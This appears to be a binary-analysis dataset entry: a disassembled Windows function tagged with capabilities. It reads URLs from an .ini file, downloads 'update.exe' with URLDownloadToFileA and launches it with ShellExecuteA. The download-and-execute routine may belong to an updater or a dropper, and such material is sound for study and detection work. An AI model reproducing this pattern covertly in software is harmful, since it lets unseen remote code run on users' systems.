Function at 0x402180
Capabilities:
Create directory
Create process on windows
Download url
Get common file path
Read .ini file
Receive data

Disassembly:
push 0xffffffffffffffff
push 0x428588
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
mov eax, dword [0x4348f8]
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x14], eax
mov dword [esp + 0x40], 0
mov dword [esp + 0x10], eax
push 0x100
push 0x100
lea ecx, [esp + 0x18]
mov byte [esp + 0x48], 1
call fcn.00420e31
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0xffffffffffffffff
lea ecx, [esp + 0x14]
call fcn.00420e80
push 0x4341e4
lea ecx, [esp + 0x14]
call fcn.0041bd95
push eax
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x18]
call fcn.0041bcfb
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x44], 2
call fcn.00420b61
lea ecx, [esp + 0x18]
mov byte [esp + 0x40], 1
call fcn.00420a28
mov esi, dword [esp + 0x48]
mov ebp, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov eax, dword [esi + 0x60]
push eax
push 0
push str.down
push 0x434258
call ebp
mov ebx, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
je 0x4022d9
mov eax, dword [esi + 0x60]
lea ecx, [esp + 0x14]
push eax
push 0x100
push 0x100
call fcn.00420e31
push eax
push 0x438824
push 0x434254
push 0x434258
call ebx
push 0xffffffffffffffff
lea ecx, [esp + 0x18]
call fcn.00420e80
lea ecx, [esp + 0x10]
push str.update.exe
lea edx, [esp + 0x4c]
push ecx
push edx
call fcn.00420cbd
mov eax, dword [eax]
push 0
push 0
push eax
mov eax, dword [esp + 0x20]
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
lea ecx, [esp + 0x48]
mov edi, eax
call fcn.00420a28
test edi, edi
jl 0x4022d9
lea ecx, [esp + 0x10]
push str.update.exe
lea edx, [esp + 0x4c]
push ecx
push edx
call fcn.00420cbd
mov eax, dword [eax]
push 1
push 0
push 0
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [esp + 0x48]
call fcn.00420a28
mov eax, dword [esi + 0x60]
push eax
push 0
push str.down
push str.main
call ebp
test eax, eax
je 0x40240e
mov eax, dword [esi + 0x60]
lea ecx, [esp + 0x14]
push eax
push 0x100
push 0x100
call fcn.00420e31
push eax
push 0x438824
push 0x434254
push str.main
call ebx
push 0xffffffffffffffff
lea ecx, [esp + 0x18]
call fcn.00420e80
lea ecx, [esp + 0x1c]
call fcn.00405ea8
lea eax, [esp + 0x10]
push str.Program_Filesyxdown
lea ecx, [esp + 0x4c]
push eax
push ecx
mov byte [esp + 0x4c], 3
call fcn.00420cbd
mov eax, dword [eax]
push 0
push eax
lea ecx, [esp + 0x24]
mov byte [esp + 0x48], 4
call fcn.00405f6b
test eax, eax
lea ecx, [esp + 0x48]
mov byte [esp + 0x40], 3
sete bl
call fcn.00420a28
test bl, bl
je 0x40239b
lea edx, [esp + 0x10]
push str.Program_Filesyxdown
lea eax, [esp + 0x4c]
push edx
push eax
call fcn.00420cbd
mov eax, dword [eax]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [esp + 0x48]
call fcn.00420a28
lea ecx, [esp + 0x10]
push str.Program_Filesyxdownyxdownupdate.exe
lea edx, [esp + 0x4c]
push ecx
push edx
call fcn.00420cbd
mov eax, dword [eax]
push 0
push 0
push eax
mov eax, dword [esp + 0x20]
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
lea ecx, [esp + 0x48]
mov edi, eax
call fcn.00420a28
test edi, edi
jl 0x402400
mov esi, dword [esi + 0x70]
test esi, esi
je 0x4023e1
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ecx
lea edx, [esp + 0x14]
mov ecx, esp
mov dword [esp + 0x1c], esp
push str.Program_Filesyxdown_
push edx
push ecx
call fcn.00420cbd
call fcn.00401d70
add esp, 4
lea ecx, [esp + 0x1c]
mov byte [esp + 0x40], 1
call fcn.00405ee5
lea ecx, [esp + 0x10]
mov byte [esp + 0x40], 0
call fcn.00420a28
lea ecx, [esp + 0x14]
mov dword [esp + 0x40], 0xffffffff
call fcn.00420a28
mov ecx, dword [esp + 0x38]
pop edi
pop esi
pop ebp
xor eax, eax
mov dword fs:[0], ecx
pop ebx
add esp, 0x34
ret 4